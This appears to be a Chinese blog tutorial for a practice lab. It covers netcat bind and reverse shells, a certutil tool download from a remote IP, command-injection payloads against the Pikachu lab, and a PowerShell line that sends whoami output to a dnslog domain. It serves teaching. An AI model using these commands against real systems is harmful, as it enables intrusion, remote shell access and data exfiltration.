反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输)
解决无图形化:
当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。
比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。
- 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载
- 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令
windows下载:
centos下载: -
文件下载的作用:
解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上 - 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的
-
反弹是干啥用的?为什么要进行反弹?反弹的应用场景
假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
反弹可以解决数据通讯问题:
比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样 - 正向连接和反向连接
反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
正向连接
以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
实验:正向实验
linux主动连接Windows服务器
linux->windows
//绑定cmd到本地的5566端口
nc -e cmd -lvvp 5566
//主动连接目标的5566
ncat 8.218.177.129 5566
反向连接
linux控制windows服务器的cmd
linux主动连接windows,
windows服务器需要先下载nc.exe
cmd要回到nc.exe文件所在的目录才能正常执行
cmd要回到nc.exe文件所在的目录才能正常执行
ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。
nc -e cmd -lvvp 5566
绑定cmd到本地端口的5566
服务器执行上述命令后
linux执行以下命令:
nc 8.218.177.219 5566
这样Windows服务器的cmd窗口就反弹到了linux
Windows服务器输入:
命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe
命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
如果是虚拟机的话,需要关闭防火墙 - 反向连接
windows控制linux
//绑定SH到本地的5566端口
nc -e /bin/sh -lvvp 5566
//主动连接目标的5566
nc 172.18.119.236 5566
linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译。NC不使用-e选项反弹shell - 什么时候用正向连接什么时候用反向连接呢?
打开我的一台Windows虚拟机
在虚拟机时属于内网的
而我们aliyun服务器的Linux是属于外网的
外网找内网的实验
虚拟机开启监听nc -lvvp 5566
linux 连接虚拟机的5566端口
是连不上的
此时,对于linux而言,Linux正向连接Windows是连不上的
就要尝试反向连接
让虚拟机(内网 )主动把cmd给到linux
虚拟机:nc -e cmd linux的IP 5566
这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢? - 管道符的使用
利用管道符可以执行多条命令管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)Windows->| & || &&
Linux->; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
P2 漏洞靶场搭建-皮卡丘
- 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,
- 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy
- 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化
显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场
P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接
-
防火墙关闭情况下的反弹shell
第一步:判断操作系统类型
第二部:判断出是Windows操作系统后需要上传nc
01 棱角社区查找下载命令
02 打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe
03 通过nc进行反弹shell
正向:
皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
注:8.218.177.129是靶场所在服务器的IP地址
反向:
linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口linux: nc -lvvp 5566 pikaqiu靶场: 127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 注:121.40.222.191是我的Linux云服务器的外网IP
-
防火墙开启情况下的反弹shell
-
防火墙策略入站规则中阻止5566端口连接
以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
因为防火墙只允许设置入站规则的端口进行通信
如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹
P4 带外查询
-
什么是带外查询?带外查询有什么用?
-
正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!
所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。
-
带外查询的应用场景
-
我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。
-
通过Windows的powershell理解带外查询
-
01 访问dnslog.cn
02 Windows中的PowerShell03 dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows
-
pikaqiu靶场带外查询
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $z
dnslog结果回显
相关文章:

反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输) 解决无图形化: 当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口…...

按键修改阈值功能、报警功能、空气质量功能实现
按键修改阈值功能 要使用按键,首先要定义按键。通过查阅资料,可知按键的引脚如图所示:按键1(S1)通过KEY0与PA0连接,按键2(S2)通过KEY1与PE2连接,按键3(S3&…...

spring重点整理篇--springMVC(嘿嘿,开心哟)
Spring MVC是的基于JavaWeb的MVC框架,是Spring框架中的一个组成部分(WEB模块) MVC设计模式: Controller(控制器) Model(模型) View(视图) 重点来了😄 SpringMVC的工作机制…...
图像融合评估指标Python版
图像融合评估指标Python版 这篇博客利用Python把大部分图像融合指标基于图像融合评估指标复现了,从而方便大家更好的使用Python进行指标计算,以及一些I/O 操作。除了几个特征互信息的指标没有成功复现之外,其他指标均可以通过这篇博客提到的P…...
20230303----重返学习-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数
day-019-nineteen-20230303-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数 变量 变量声明 变量 声明定义(赋值) var num;num 100; 声明与赋值分开var num 100; 声明时就赋值 赋值只能声明一次,可以赋值无数次 变量声明关键词 varconstletclassfunctio…...

Java面试题总结
文章目录前言1、JDK1.8 的新特性有哪些?2、JDK 和 JRE 有什么区别?3、String,StringBuilder,StringBuffer 三者的区别?4、为什么 String 拼接的效率低?5、ArrayList 和 LinkedList 有哪些区别?6…...

深圳大学计软《面向对象的程序设计》实验7 拷贝构造函数与复合类
A. Point&Circle(复合类与构造) 题目描述 类Point是我们写过的一个类,类Circle是一个新的类,Point作为其成员对象,请完成类Circle的成员函数的实现。 在主函数中生成一个圆和若干个点,判断这些点与圆的位置关系,…...
Java的JVM(Java虚拟机)参数配置
JVM原理 (1)jvm是java的核心和基础,在java编译器和os平台之间的虚拟处理器,可在上面执行字节码程序。 (2)java编译器只要面向jvm,生成jvm能理解的字节码文件。java源文件经编译成字节码程序&a…...
leetcode 困难 —— 数据流的中位数(优先队列)
题目: 中位数是有序整数列表中的中间值。如果列表的大小是偶数,则没有中间值,中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化…...

7个常用的原生JS数组方法
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 7个常用的原生JS数组方法一、Array.map()二、Array.filter三、Array.reduce四、Array.forEach五、Array.find六、Array.every七、Array.some总结一、Array.map() 作用&#…...

一、一篇文章打好高数基础-函数
1.连续函数的性质考点分析函数的连续性主要考察函数的奇偶性、有界性、单调性、周期性。例题判断函数的奇偶性的有界区间为() A.(-1,0) B(0,1) C(1,2) D(2,3)2.闭区间上连续函数的性质考点分析闭区间上连续函数的性质主要考察函数的最大最小值定理、零点…...

pipenv的基本使用
一. pipenv 基础 pipenv安装: pip install pipenvpipenv常用命令 pipenv --python 3 # 创建python3虚拟环境 pipenv --venv # 查看创建的虚拟环境 pipenv install 包名 # 安装包 pipenv shell # 切换到虚拟环境中 pip list # 查看当前已经安装的包࿰…...

OpenCV入门(三)快速学会OpenCV2图像处理基础
OpenCV入门(三)快速学会OpenCV2图像处理基础 1.颜色变换cvtColor imgproc的模块名称是由image(图像)和process(处理)两个单词的缩写组合而成的,是重要的图像处理模块,主要包括图像…...

基于PySide6的MySql数据库快照备份与恢复软件
db-camera 软件介绍 db-camera是一款MySql数据库备份(快照保存)与恢复软件。功能上与dump类似,但是提供了相对有好的交互界面,能够有效地管理导出的sql文件。 使用场景 开发阶段、测试阶段,尤其适合单人开发的小项目…...

BI不是报表,千万不要混淆
商业智能BI作为商业世界的新宠儿,在市场上实现了高速增长并获得了各领域企业的口碑赞誉。 很多企业把商业智能BI做成了纯报表,二维表格的数据展现形式,也有一些简单的图表可视化。但是这些简单的商业智能BI可视化报表基本上只服务到了一线的…...

sizeof以及strlen的用法以及注意事项
大家都知道,在c中算字符串长度和所占空间大小事不可避免的,甚至再有的时候,我们在写代码的过程中,就会用到这些数据。比如,下面这道题 struct Test { int Num; char *pcName; short sDate; char cha[2]; short sBa[4];…...

数据结构-链表-单链表(3)
目录 1. 顺序表的缺陷 2. 单链表 2.1 单链表的基本结构与接口函数 2.2 重要接口 创建新节点的函数: 2.2.1 尾插 2.2.2 头插 2.2.3 尾删 2.2.4 头删 2.2.5 查找 2.2.6 插入 2.2.7 删除 2.2.8 从pos后面插入 2.2.9 从pos后面删除 3. 链表的缺陷与优势&…...
【SpringBoot初级篇】JdbcTemplate常用方法
【SpringBoot初级篇】JdbcTemplate常用方法JdbcTemplate 查询JdbcTemplate 插入、更新、删除execute执行任意的SQLNamedParameterJdbcTemplate函数场景说明update(String sql, Nullable Object… args)增,删,改queryForObject(sql, Integer.class)查询返…...

React(三):脚手架、组件化、生命周期、父子组件通信、插槽、Context
React(三)一、脚手架安装和创建1.安装脚手架2.创建脚手架3.看看脚手架目录4.运行脚手架二、脚手架下从0开始写代码三、组件化1.类组件2.函数组件四、React的生命周期1.认识生命周期2.图解生命周期(1)Constructor(2&…...
[教程]使用 Git 克隆指定分支
Git 是我们开发过程中经常使用到的版本管理工具,在平常情况下我们从远程克隆的时候会将整个库克隆下来,这会包括整个版本库的历史提交记录和远程库里的所有分支。但在一些情况下,比如我们并不需要查看历史提交记录而只是希望能够获取到最新的代码&#x…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...

【项目实战】通过多模态+LangGraph实现PPT生成助手
PPT自动生成系统 基于LangGraph的PPT自动生成系统,可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析:自动解析Markdown文档结构PPT模板分析:分析PPT模板的布局和风格智能布局决策:匹配内容与合适的PPT布局自动…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...

DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
Oracle11g安装包
Oracle 11g安装包 适用于windows系统,64位 下载路径 oracle 11g 安装包...